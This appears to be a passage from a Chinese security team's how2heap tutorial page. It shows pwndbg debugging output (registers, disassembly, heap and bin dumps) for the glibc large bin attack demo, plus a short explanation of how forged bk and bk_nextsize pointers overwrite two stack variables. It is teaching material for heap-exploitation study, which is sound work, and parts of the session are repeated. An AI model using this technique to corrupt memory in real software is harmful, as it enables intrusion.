02:0010│ 0x7fffffffe5a0 —▸ 0x603010 —▸ 0x7ffff7dd1e98 (main_arena+888) —▸ 0x7ffff7dd1e88 (main_arena+872) —▸ 0x7ffff7dd1e78 (main_arena+856) ◂— ...
03:0018│ 0x7fffffffe5a8 —▸ 0x603370 ◂— 0x0
04:0020│ 0x7fffffffe5b0 —▸ 0x6037b0 —▸ 0x603360 ◂— 0x0
05:0028│ 0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300
06:0030│ rbp 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 4009f3 main+845
f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> x/40gx 0x603360-0x20
0x603340: 0x0000000000000000 0x0000000000000000
0x603350: 0x0000000000000000 0x0000000000000000
0x603360: 0x0000000000000000 0x00000000000003f1
0x603370: 0x0000000000000000 0x00000000006037a0
0x603380: 0x0000000000000000 0x00000000006037a0
0x603390: 0x0000000000000000 0x0000000000000000
0x6033a0: 0x0000000000000000 0x0000000000000000
0x6033b0: 0x0000000000000000 0x0000000000000000
0x6033c0: 0x0000000000000000 0x0000000000000000
0x6033d0: 0x0000000000000000 0x0000000000000000
0x6033e0: 0x0000000000000000 0x0000000000000000
0x6033f0: 0x0000000000000000 0x0000000000000000
0x603400: 0x0000000000000000 0x0000000000000000
0x603410: 0x0000000000000000 0x0000000000000000
0x603420: 0x0000000000000000 0x0000000000000000
0x603430: 0x0000000000000000 0x0000000000000000
0x603440: 0x0000000000000000 0x0000000000000000
0x603450: 0x0000000000000000 0x0000000000000000
0x603460: 0x0000000000000000 0x0000000000000000
0x603470: 0x0000000000000000 0x0000000000000000
pwndbg> n
57 }LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
RDI 0x2
RSI 0x7fffffffbf00 ◂— 0x61765f6b63617473 ('stack_va')
R8 0x7ffff7feb700 ◂— 0x7ffff7feb700
R9 0x26
R10 0x0
R11 0x246
R12 0x4005b0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0
RIP 0x4009f8 (main+850) ◂— mov rsi, qword ptr [rbp - 8]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
0x4009e1 mov esi, 0x40102c
0x4009e6 mov rdi, rax
0x4009e9 mov eax, 0
0x4009ee call fprintf@plt <0x400570>
0x4009f3 mov eax, 0
► 0x4009f8 mov rsi, qword ptr [rbp - 8]
0x4009fc xor rsi, qword ptr fs:[0x28]
0x400a05 je main+870 <0x400a0c>
↓
0x400a0c leave
0x400a0d ret
0x400a0e nop
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/large_bin_attack .c
52 malloc(0x90);
53 fprintf(stderr, "再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:\n");
54 fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
55 fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
56 return 0;
► 57 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0
... ↓
02:0010│ 0x7fffffffe5a0 —▸ 0x603010 —▸ 0x7ffff7dd1e98 (main_arena+888) —▸ 0x7ffff7dd1e88 (main_arena+872) —▸ 0x7ffff7dd1e78 (main_arena+856) ◂— ...
03:0018│ 0x7fffffffe5a8 —▸ 0x603370 ◂— 0x0
04:0020│ 0x7fffffffe5b0 —▸ 0x6037b0 —▸ 0x603360 ◂— 0x0
05:0028│ 0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300
06:0030│ rbp 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 4009f8 main+850
f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> x/40gx 0x603360-0x20
0x603340: 0x0000000000000000 0x0000000000000000
0x603350: 0x0000000000000000 0x0000000000000000
0x603360: 0x0000000000000000 0x00000000000003f1
0x603370: 0x0000000000000000 0x00000000006037a0
0x603380: 0x0000000000000000 0x00000000006037a0
0x603390: 0x0000000000000000 0x0000000000000000
0x6033a0: 0x0000000000000000 0x0000000000000000
0x6033b0: 0x0000000000000000 0x0000000000000000
0x6033c0: 0x0000000000000000 0x0000000000000000
0x6033d0: 0x0000000000000000 0x0000000000000000
0x6033e0: 0x0000000000000000 0x0000000000000000
0x6033f0: 0x0000000000000000 0x0000000000000000
0x603400: 0x0000000000000000 0x0000000000000000
0x603410: 0x0000000000000000 0x0000000000000000
0x603420: 0x0000000000000000 0x0000000000000000
0x603430: 0x0000000000000000 0x0000000000000000
0x603440: 0x0000000000000000 0x0000000000000000
0x603450: 0x0000000000000000 0x0000000000000000
0x603460: 0x0000000000000000 0x0000000000000000
0x603470: 0x0000000000000000 0x0000000000000000
pwndbg> p &stack_var1 - 2
$1 = (unsigned long *) 0x7fffffffe580
pwndbg> p &stack_var2 - 4
$2 = (unsigned long *) 0x7fffffffe578
pwndbg> p &stack_var2
$3 = (unsigned long *) 0x7fffffffe598
pwndbg> p &stack_var1
$4 = (unsigned long *) 0x7fffffffe590
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603140 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603140 /* '@1`' */
smallbins
empty
largebins
0x400 [corrupted]
FD: 0x603360 ◂— 0x0
BK: 0x603360 —▸ 0x6037a0 —▸ 0x7fffffffe580 ◂— 0x6037a0
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0xa0 Used None None
0x6030a0 0x0 0xa0 Used None None
0x603140 0x0 0x1f0 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78
0x603330 0x1f0 0x30 Used None None
0x603360 0x0 0x3f0 Freed 0x0 0x6037a0
Corrupt ?! (size == 0) (0x603750)
pwndbg> x/10gx 0x7fffffffe598
0x7fffffffe598: 0x00000000006037a0 0x0000000000603010
0x7fffffffe5a8: 0x0000000000603370 0x00000000006037b0
0x7fffffffe5b8: 0xe5d20a6fe83dd300 0x0000000000400a10
0x7fffffffe5c8: 0x00007ffff7a2d830 0x00007fffffffe6a8
0x7fffffffe5d8: 0x00007fffffffe6a8 0x00000001f7b99608
pwndbg> x/10gx 0x7fffffffe590
0x7fffffffe590: 0x00000000006037a0 0x00000000006037a0
0x7fffffffe5a0: 0x0000000000603010 0x0000000000603370
0x7fffffffe5b0: 0x00000000006037b0 0xe5d20a6fe83dd300
0x7fffffffe5c0: 0x0000000000400a10 0x00007ffff7a2d830
0x7fffffffe5d0: 0x00007fffffffe6a8 0x00007fffffffe6a8
pwndbg>
pwndbg> p &stack_var1
$5 = (unsigned long *) 0x7fffffffe590
pwndbg> p &stack_var2
$8 = (unsigned long *) 0x7fffffffe598
pwndbg> p (void *)stack_var1
$9 = (void *) 0x6037a0
pwndbg> p (void *)stack_var2
$10 = (void *) 0x6037a0
pwndbg>
把2带入4得到:fwd->bk_nextsize->fd_nextsize=victim,同时下面有:fwd->bk=victim。也就是说之前我们伪造的p2的bk跟bk_nextsize指向的地址被改为了victim,即(unsigned long)(&stack_var1 - 2)与(unsigned long)(&stack_var2 - 4)被改为了victim
pwndbg> p &stack_var1
$5 = (unsigned long *) 0x7fffffffe590
pwndbg> p &stack_var2
$8 = (unsigned long *) 0x7fffffffe598
pwndbg> p (void *)stack_var1
$9 = (void *) 0x6037a0
pwndbg> p (void *)stack_var2
$10 = (void *) 0x6037a0
【PWN】how2heap | 狼组安全团队公开知识库